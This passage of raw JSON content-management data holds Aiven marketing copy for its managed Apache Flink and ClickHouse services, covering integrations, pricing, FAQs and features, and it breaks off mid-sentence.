peering"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b2a2179d2803","_type":"link","href":"https://help.aiven.io/en/articles/778836-using-virtual-private-cloud-vpc-peering"}],"style":"normal"},{"_key":"a19e278acb4f","_type":"block","children":[{"_key":"b6197518109b","_type":"span","marks":["5f64dee10310"],"text":"Integrate"},{"_key":"ad779fddf51f","_type":"span","marks":[],"text":" to your favorite observability tooling — from Datadog to Prometheus, Jolokia and more — or use "},{"_key":"2678343036c8","_type":"span","marks":["d2154eb91469"],"text":"Aiven observability tools"},{"_key":"3b6e5e4ae21c","_type":"span","marks":[],"text":" for enhanced monitoring and logging"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5f64dee10310","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}},{"_key":"d2154eb91469","_type":"internalLink","internalLink":{"_ref":"4ffa575d-3214-4ed9-982c-6ee1b82bb5dd","_type":"reference"}}],"style":"normal"},{"_key":"d64f0cb61f00","_type":"block","children":[{"_key":"454dcc67578d","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Integrate with your data infrastructure","variant":"mediaRight"},{"_key":"ee71902c0e86","_type":"textImage","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-c4f835fdce0eb231ec202ad0d07212a6315113dd-3070x1718-jpg","_type":"reference"}},"noSpaceBottom":true,"rounded":false,"tagline":"Control","text":[{"_key":"38af9253933a","_type":"block","children":[{"_key":"17d58cad27010","_type":"span","marks":[],"text":"Manage your Flink cluster using the Aiven Console (GUI) or "},{"_key":"17d58cad27011","_type":"span","marks":["4123d722056e"],"text":"CLI"},{"_key":"17d58cad27012","_type":"span","marks":[],"text":" tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"4123d722056e","_type":"link","href":"https://docs.aiven.io/docs/tools/cli"}],"style":"normal"},{"_key":"96d5ff98025d","_type":"block","children":[{"_key":"e5a68ac2f3ad0","_type":"span","marks":[],"text":"Seamlessly scale your clusters up and down as you go"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c2786251aa2d","_type":"block","children":[{"_key":"97cebbffb89d0","_type":"span","marks":[],"text":"Guaranteed compatibility with "},{"_key":"2f5226117138","_type":"span","marks":["2c50236a2a90"],"text":"open source software"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2c50236a2a90","_type":"internalLink","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"}}],"style":"normal"},{"_key":"5bf4013443d2","_type":"block","children":[{"_key":"bec2427afeb20","_type":"span","marks":[],"text":"Migrate easily between clouds and regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOps-friendly management and development","variant":"mediaLeft"},{"_key":"a5b4039a96bdf4eec82430614afedcd8","_type":"textImage","addSpaceBottom":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-f51626a8d784a9261dea8f1bd79153a7b962923b-1920x1080-jpg","_type":"reference"}},"rounded":false,"tagline":"Enjoy","text":[{"_key":"4a48a47c4b68","_type":"block","children":[{"_key":"f7935593c9c80","_type":"span","marks":[],"text":"Self-healing platform with 99.99% SLA for uptime"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"df9b068ca281","_type":"block","children":[{"_key":"3ee757d4d90c0","_type":"span","marks":[],"text":"Minimal downtime during scaling, upgrading, and other management options"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"51481ba23803","_type":"block","children":[{"_key":"d51107ae88c90","_type":"span","marks":["bc283aa2564c"],"text":"Secure and compliant solution"},{"_key":"213d0611dd4a","_type":"span","marks":[],"text":" — ISO 27001:2013, SOC2, GDPR, HIPAA, and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"bc283aa2564c","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Reliable, secure and zero lock-in","variant":"mediaRight"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Get the data you need to grow your business","variant":"centerColumn"},{"_key":"1088d9ed52fe6c3530a91bbcd2fad705","_type":"pricing","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"service":{"_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"reference"},"subtitle":[{"_key":"8b2181d2d06a","_type":"block","children":[{"_key":"b952072c795c","_type":"span","marks":[],"text":"All inclusive Flink pricing so you have no end of the month surprises.\nNo add-on maintenance, networking and storage fees."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Scale up or down. Pay only for what you use.","variant":"single-service"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"1d587bc37f03","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"7a2e16ccfa65","_type":"accordionItem","id":"support","panelText":[{"_key":"737c85038c77","_type":"block","children":[{"_key":"f39ec15021a70","_type":"span","marks":[],"text":"Aiven for Apache Flink supports the use of SQL language for event stream processing, as most use cases can be solved easily with continuous SQL queries. Aiven for Apache Flink does not support other types of Flink applications."}],"markDefs":[],"style":"normal"}],"title":"What capabilities does Aiven for Apache Flink support? "},{"_key":"3496d422a6bc","_type":"accordionItem","id":"flink-faq-other-services","panelText":[{"_key":"c2262d91fdd2","_type":"block","children":[{"_key":"3fc1aa7edeaa0","_type":"span","marks":[],"text":"You can connect Aiven for Apache Flink® with other Aiven services such as "},{"_key":"d044e5e1cdab","_type":"span","marks":["599337f3bb25"],"text":"Aiven for Apache Kafka®"},{"_key":"4f44167e3c65","_type":"span","marks":[],"text":" (as a source and sink connector), "},{"_key":"cd9d5703aeee","_type":"span","marks":["b6bb92896fd9"],"text":"Aiven for PostgreSQL®"},{"_key":"866c15de39ba","_type":"span","marks":[],"text":" (as a source and sink connector) and "},{"_key":"7697992bdb02","_type":"span","marks":["ff61f5cd3c50"],"text":"Aiven for OpenSearch®"},{"_key":"bfd980ddd2a7","_type":"span","marks":[],"text":" (as a sink connector). You can also integrate Aiven for Apache Flink® with your own Apache Kafka clusters - no matter where they are running."}],"markDefs":[{"_key":"599337f3bb25","_type":"internalLink","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"}},{"_key":"b6bb92896fd9","_type":"internalLink","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"}},{"_key":"ff61f5cd3c50","_type":"internalLink","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"}}],"style":"normal"}],"title":"Which other Aiven services can I use with Aiven for Apache Flink?"},{"_key":"713836e082b5","_type":"accordionItem","id":"flink-faq-sla","panelText":[{"_key":"f50c15683076","_type":"block","children":[{"_key":"def64bb4db15","_type":"span","marks":[],"text":"Aiven for Apace Flink comes with a 99,99% SLA support and a 24/7 expert support team, should you need help with your fully-managed Apache Flink service"}],"markDefs":[],"style":"normal"}],"title":"What is the SLA provided with Aiven for Apache Flink?"},{"_key":"8967d14929ef","_type":"accordionItem","id":"cdc","panelText":[{"_key":"a45f4021d5bc","_type":"block","children":[{"_key":"bb3db67bae5c0","_type":"span","marks":[],"text":"You can connect our Apache Flink service with Aiven’s Debezium CDC Connector for Aiven for PostgreSQL® to capture changes in Postgres in real time and perform any necessary transformations or processing on these changes in real time. This helps with data replication and microservices synchronization where new services need immediate access to any changed data in your source database. You can find more information on how to use our Change Data Capture (CDC) connector for Flink and PostgreSQL "},{"_key":"d7e0ab49f01f","_type":"span","marks":["974b60e31813"],"text":"here"},{"_key":"3d8fd4d02814","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"974b60e31813","_type":"link","href":"https://docs.aiven.io/docs/products/flink/howto/pg-cdc-connector"}],"style":"normal"}],"title":"Can I use Apache Flink for Change Data Capture (CDC) use cases?"}],"rounded":false,"title":"FAQ"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":true,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/pricing?product=flink\u0026tab=plan-pricing","title":"Show me the plans"},"subtitle":[{"_key":"d5ed539951b3","_type":"block","children":[{"_key":"734e5be1558b","_type":"span","marks":[],"text":"Starting from only $340 per month, prices vary based on the number of brokers and storage needs. Hourly billing saves you money. Change your plan anytime at no extra cost."}],"markDefs":[],"style":"normal"}],"title":"Find the right plan","variant":"default"}],"rounded":false,"subtitle":[{"_key":"f11fa44efa31","_type":"block","children":[{"_key":"90c73915e4a30","_type":"span","marks":[],"text":"All inclusive pricing so you have no end of the month surprises.\nNo add-on maintenance, networking and storage fees."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Scale up or down. \\nPay only for what you use."},{"_key":"cf168a4da3de","_type":"cardList","align":"center","disabled":false,"fullWidth":true,"id":"resources","items":[{"_key":"9da1ec92e5d5","_ref":"7IDTlcURHzZ8SEgvYlcy6Q","_type":"reference"},{"_key":"b4c39b0c6f3d","_ref":"e8c75ccd-71ce-4cef-82de-117a66c53609","_type":"webinar"},{"_key":"45a8c2cb3f7a","_ref":"178690c7-abca-455a-b22a-4db81e216219","_type":"reference"}],"rounded":false,"tagline":"Resources","title":"Explore more of the Aiven for Apache Flink world"}],"infoBannerPosition":"top","seo":{"_type":"metaData","metaDescription":"Try Aiven’s fully managed Apache Flink® service - and get real time stream processing and analytics on all major clouds worldwide.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7e847319417be36628e259c62ec45875be4194b5-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Apache Flink®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed Apache Flink, Flink as a Service, Apache Flink, real time stream processing\",\n \"description\": \"Fully managed Apache Flink - real-time stream processing using familiar SQL deployable on all major clouds, worldwide.\",\n \"featureList\": \"SQL language for stream processing, Source connectors for Aiven for Apache Kafka and Aiven for PostgreSQL, Sink connectors for Aiven for Apache Kafka, and Aiven for PostgreSQL, Log and metric integrations, Terraform and Kubernetes support, Multi AZ placement, VPC peering, AWS PrivateLink support, Management dashboard, TLS encryption at rest and in transit, High availability, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure, Available in DigitalOcean\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/flink\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source data processing engine\",\n \"applicationSubCategory\": \"Stream processing\"\n}","metaTitle":"Managed Apache Flink® | Powerful stream processing | Aiven"},"service":{"_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"reference"},"slug":{"_type":"slug","current":"/flink"},"title":"Flink"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d__i18n_ja","_type":"reference"}],"_createdAt":"2022-09-17T20:38:38Z","_id":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_rev":"UCe181y7ND8VpGNVLEXTvj","_type":"product","_updatedAt":"2025-01-15T15:44:58Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for ClickHouse®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"}},"darkTheme":true,"description":[{"_key":"6aa27811e1b7","_type":"block","children":[{"_key":"8a9899bbb041","_type":"span","marks":[],"text":"Aiven for ClickHouse® is a managed cloud data warehouse based on open source ClickHouse – a fast, resource effective, columnar database that enables the generation of real-time analytical data reports using advanced SQL queries."}],"markDefs":[],"style":"normal"}],"disabled":false,"formType":"trial","heroHasForm":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"a116c048a9b4","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-17d887c154cde266a33ebae9dc81dca3d32c1820-1600x1137-png","_type":"reference"}},"imageSize":"default","primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/clickhouse","title":"See docs"},"tagline":"Managed and hosted","tertiaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/clickhouse","title":"See docs"},"title":"Aiven for ClickHouse®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"Customer use cases"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"},{"_key":"8af4fd351767","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"},"title":"Aiven for ClickHouse®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for ClickHouse®"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","noSpaceBottom":true,"steps":[{"_key":"7764be2f4957","_type":"textItem","content":[{"_key":"5beea68026a7","_type":"block","children":[{"_key":"a3cf81a43ffa0","_type":"span","marks":[],"text":"High-performance analytics with Aiven for ClickHouse®"}],"markDefs":[],"style":"h3"},{"_key":"287f5e4029ca","_type":"block","children":[{"_key":"25584b363cd70","_type":"span","marks":[],"text":"Aiven for ClickHouse is a fully managed distributed data warehouse, deployable in the cloud of your choice. Known for exceptionally high performance, excellent data compression and a rich set of SQL extensions for analytics, ClickHouse is ideal for offloading analytics from operational databases and getting real time insights from streaming data."}],"markDefs":[],"style":"normal"},{"_key":"c445b6894858","_type":"block","children":[{"_key":"4da4eb6745ee0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"dcbe1e5c03a9","_type":"block","children":[{"_key":"3ce9f118ab9a0","_type":"span","marks":["6053af18cf0a"],"text":"What is ClickHouse? (blog)"}],"markDefs":[{"_key":"6053af18cf0a","_type":"internalLink","internalLink":{"_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"}}],"style":"normal"},{"_key":"571f18c388f5","_type":"block","children":[{"_key":"8bd0c47b09060","_type":"span","marks":["c6cbbf8bea8d"],"text":"Aiven for ClickHouse (docs)"}],"markDefs":[{"_key":"c6cbbf8bea8d","_type":"link","href":"https://aiven.io/docs/products/clickhouse"}],"style":"normal"}]},{"_key":"680f378ade94","_type":"textItem","content":[{"_key":"3273c7bd0c6b","_type":"block","children":[{"_key":"7c0941e539720","_type":"span","marks":[],"text":"Access PostgreSQL® and Apache Kafka® data from ClickHouse"}],"markDefs":[],"style":"h3"},{"_key":"3d4d7b46bff1","_type":"block","children":[{"_key":"968090d3ed3f0","_type":"span","marks":[],"text":"Easily integrate Aiven for Apache Kafka® as a data source for ClickHouse analytics. Access data in Aiven for PostgreSQL® through federated query integration."}],"markDefs":[],"style":"normal"},{"_key":"46abc68b4583","_type":"block","children":[{"_key":"6bf29b7a510a0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"d5d3f9a26695","_type":"block","children":[{"_key":"eaa2d405eb580","_type":"span","marks":["ec46ed1441f6"],"text":"Get started with Aiven for ClickHouse (docs)"}],"markDefs":[{"_key":"ec46ed1441f6","_type":"link","href":"https://aiven.io/docs/products/clickhouse/get-started"}],"style":"normal"},{"_key":"39671b8bb793","_type":"block","children":[{"_key":"64c5605e7a300","_type":"span","marks":["2353a163328b"],"text":"How to integrate PostgreSQL with ClickHouse (docs)"}],"markDefs":[{"_key":"2353a163328b","_type":"link","href":"https://aiven.io/docs/products/postgresql/get-started"}],"style":"normal"},{"_key":"50ca61d06cec","_type":"block","children":[{"_key":"8ab14b56e90e0","_type":"span","marks":["5934ea79ab23"],"text":"How to integrate Apache Kafka with ClickHouse (docs)"}],"markDefs":[{"_key":"5934ea79ab23","_type":"link","href":"https://aiven.io/docs/products/clickhouse/howto/integrate-kafka"}],"style":"normal"}]},{"_key":"5627270af86a","_type":"textItem","content":[{"_key":"c8c18dd98d3c","_type":"block","children":[{"_key":"4d8815c187700","_type":"span","marks":[],"text":"Visualize your insights with Grafana®"}],"markDefs":[],"style":"h3"},{"_key":"c7d5c53e00d4","_type":"block","children":[{"_key":"c221435f5adb0","_type":"span","marks":[],"text":"Easily add Grafana and set up dashboards to visualize your analytics results. You can also use external BI tools, such as Sisense, PowerBI or Tableau, for visualization."}],"markDefs":[],"style":"normal"},{"_key":"515f2cd1850b","_type":"block","children":[{"_key":"0dae282a206d0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"78543ddae992","_type":"block","children":[{"_key":"e922e8e372e70","_type":"span","marks":["67cf0b5db02c"],"text":"Visualize ClickHouse® data with Grafana® (docs)"}],"markDefs":[{"_key":"67cf0b5db02c","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/howto/connect-to-grafana"}],"style":"normal"},{"_key":"97f501be1d83","_type":"block","children":[{"_key":"5268fe360a8a0","_type":"span","marks":["e52fc92b64aa"],"text":"Connect Aiven for ClickHouse® with JDBC (docs)"}],"markDefs":[{"_key":"e52fc92b64aa","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/howto/connect-with-jdbc"}],"style":"normal"}]},{"_key":"b4cd2ac7dbf7","_type":"textItem","content":[{"_key":"73b613092783","_type":"block","children":[{"_key":"96cf013220ae0","_type":"span","marks":[],"text":"Integrate with your favorite external logging and monitoring tools"}],"markDefs":[],"style":"h3"},{"_key":"453a3ed025db","_type":"block","children":[{"_key":"b68bfa4bbcbf0","_type":"span","marks":[],"text":"Easy integrations with familiar tools like Prometheus, AWS CloudWatch, Elasticsearch, and more. Or get enhanced monitoring and logging using Aiven services for M3, Grafana and OpenSearch. Expose your server or service specific metrics to external endpoints to monitor the health of your ClickHouse cluster."}],"markDefs":[],"style":"normal"},{"_key":"1b2627c09859","_type":"block","children":[{"_key":"3104d2ada0970","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"46a4ae05b690","_type":"block","children":[{"_key":"6df214a285ba0","_type":"span","marks":["081e8fc4fe53"],"text":"Integrations and connectors"}],"markDefs":[{"_key":"081e8fc4fe53","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"},{"_key":"af2ec82b799b","_type":"block","children":[{"_key":"1c7408d774850","_type":"span","marks":["85da3295d6ee"],"text":"Metrics and graphs with M3 and Grafana (blog)"}],"markDefs":[{"_key":"85da3295d6ee","_type":"internalLink","internalLink":{"_ref":"27idt1cdblNt5VE88jxtnJ","_type":"reference"}}],"style":"normal"}]}],"subtitle":[{"_key":"80e63e0eb379","_type":"block","children":[{"_key":"79757a69ceb30","_type":"span","marks":[],"text":"Set up a fully managed cloud data warehouse in less than 10 minutes — directly from our web console, or programmatically via our API, CLI or Terraform. Integrate with Aiven for PostgreSQL® or Aiven for Apache Kafka® as data sources, and enjoy high-performance analytics for insights that help drive your business."}],"markDefs":[],"style":"normal"}],"tagline":"How it works","title":"What can you do with Aiven for ClickHouse®?","tools":[{"_key":"adf3425d8e31","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"05a76cde47e27e1ba1820a781494fb3e","_ref":"8986d4de-d1f0-456a-9b22-94d18130dded","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"clickhouse"},{"_key":"tnk0nlcjsuimcxeh8rw7ew01mauhzdvo","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","darkTheme":false,"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_type":"reference"}},"infoBanner":{"_ref":"be15331e-5c51-45d1-b852-5d8a80d8e145","_type":"reference"},"noSpaceBottom":true,"noSpaceTop":true,"variant":"vertical"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"46318ec7573e","_type":"block","children":[{"_key":"7130edbd77d10","_type":"span","marks":[],"text":"ClickHouse is famous for being one of the fastest cloud data warehouses. It processes hundreds of millions of rows and tens of gigabytes of data per second, supported by superior data compression."}],"markDefs":[],"style":"normal"}],"title":"Unmatched performance. Plus Aiven reliability."},{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-216087e3f84e46bc6fec1379d984299ce66186a1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"933e5f4fb9bd","_type":"block","children":[{"_key":"580e5f4ed8880","_type":"span","marks":[],"text":"Leverage your data in other Aiven services like PostgreSQL® or Kafka®, all available with one-click integration via our intuitive Console."}],"markDefs":[],"style":"normal"}],"title":"Built-in data Integrations. All-in-one platform."},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ac6bcb5a619c","_type":"block","children":[{"_key":"987b7a5a638c0","_type":"span","marks":[],"text":"Stressing about applying maintenance updates or version upgrades to your clusters? We’ll take care of them for you so that you can focus on turning your data into actionable insights."}],"markDefs":[],"style":"normal"}],"title":"Automatic updates and upgrades. Zero stress."},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"005d44a3ce4f","_type":"block","children":[{"_key":"52ffcb1e2d3a","_type":"span","marks":[],"text":"Aiven for ClickHouse comes with all-inclusive pricing to keep costs predictable, and "},{"_key":"f719434c8a9f","_type":"span","marks":["6223368f4572"],"text":"tiered storage"},{"_key":"092223201ab4","_type":"span","marks":[],"text":" to keep costs low as your data grows."}],"markDefs":[{"_key":"6223368f4572","_type":"internalLink","internalLink":{"_ref":"a838f74f-9ee3-474d-be9d-fb39629e0432","_type":"reference"}}],"style":"normal"}],"title":"Super-transparent pricing. No networking costs."}],"id":"benefits","rounded":false,"subtitle":[{"_key":"7c443705b8fa","_type":"block","children":[{"_key":"d67c731fd6d00","_type":"span","marks":[],"text":"With Aiven for ClickHouse, you can set up clusters, deploy new nodes, migrate clouds and fork databases in just a few clicks — and monitor everything on a simple dashboard."}],"markDefs":[],"style":"normal"},{"_key":"808614501a81","_type":"block","children":[{"_key":"a6bbd3a644130","_type":"span","marks":[],"text":"Get the most from ClickHouse’s superior performance, effective compression and rich set of SQL analytics extensions, all with multicloud support and no vendor lock-in."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of ClickHouse® as-a-service from Aiven","variant":"header-left"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"40bbb53cd0c3","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"fa5c665dc418","_type":"block","children":[{"_key":"d47838de66100","_type":"span","marks":[],"text":"Streaming and time series data (such as. IoT telemetry, observability or web clickstream data) requires a data warehouse that can handle large amounts of data and deliver near real time analytics."}],"markDefs":[],"style":"normal"}],"title":"Analytics for streaming and time series data","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"5693e3c65efc","_type":"block","children":[{"_key":"f17c70cd088c0","_type":"span","marks":[],"text":"ClickHouse’s high performance helps to speed up your data-driven decision making. High speed data processing ensures you get the answers you need instantly, instead of waiting for hours or days."}],"markDefs":[],"style":"normal"}],"title":"Real-time analytical reports","variant":"icon-card"},{"_key":"dd08b9dad7699929b051f13d5f3dbf88","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"0feed8840962","_type":"block","children":[{"_key":"a63b3668db27","_type":"span","marks":[],"text":"Aiven for ClickHouse's data compression and high performance combine with the cost savings of "},{"_key":"56903b39b64d","_type":"span","marks":["2f7e01366fcc"],"text":"tiered storage"},{"_key":"ffdf1a50dbd5","_type":"span","marks":[],"text":" to make it an ideal solution to store logs and traces."}],"markDefs":[{"_key":"2f7e01366fcc","_type":"internalLink","internalLink":{"_ref":"a838f74f-9ee3-474d-be9d-fb39629e0432","_type":"reference"}}],"style":"normal"}],"title":"Application logs and traces","variant":"icon-card"}],"rounded":false,"tagline":"Customer use cases","title":"How Aiven customers use ClickHouse"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","noSpaceBottom":false,"rounded":false,"tagline":"Features","title":"Key features of Aiven for Clickhouse®","variant":"centerColumn"},{"_key":"17eed8c3f610","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"Set up","text":[{"_key":"ec6a909d7c6b","_type":"block","children":[{"_key":"b88e6c3cd2a8","_type":"span","marks":[],"text":"Fully managed ClickHouse clusters up and running in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2ced07784103","_type":"block","children":[{"_key":"8aee740d75eb","_type":"span","marks":[],"text":"Deploy to AWS, GCP or Azure, in over 70 regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dcfdb9c94689","_type":"block","children":[{"_key":"e384af46146e","_type":"span","marks":[],"text":"High performance, high availability clusters (3 or more nodes) spread across cloud provider availability zones"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2abedd2221d4","_type":"block","children":[{"_key":"1604f622c48e","_type":"span","marks":["6f95d073b883"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"1d946c5cd2ef","_type":"span","marks":[],"text":" deployment model supported for strict control requirements"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6f95d073b883","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"}],"style":"normal"},{"_key":"d4678b2c52ae","_type":"block","children":[{"_key":"76ef964e4aff","_type":"span","marks":["22d90f1f8e70"],"text":"Tiered storage"},{"_key":"574952e7ef7d","_type":"span","marks":[],"text":" incorporates object storage for limitless data retention without breaking the 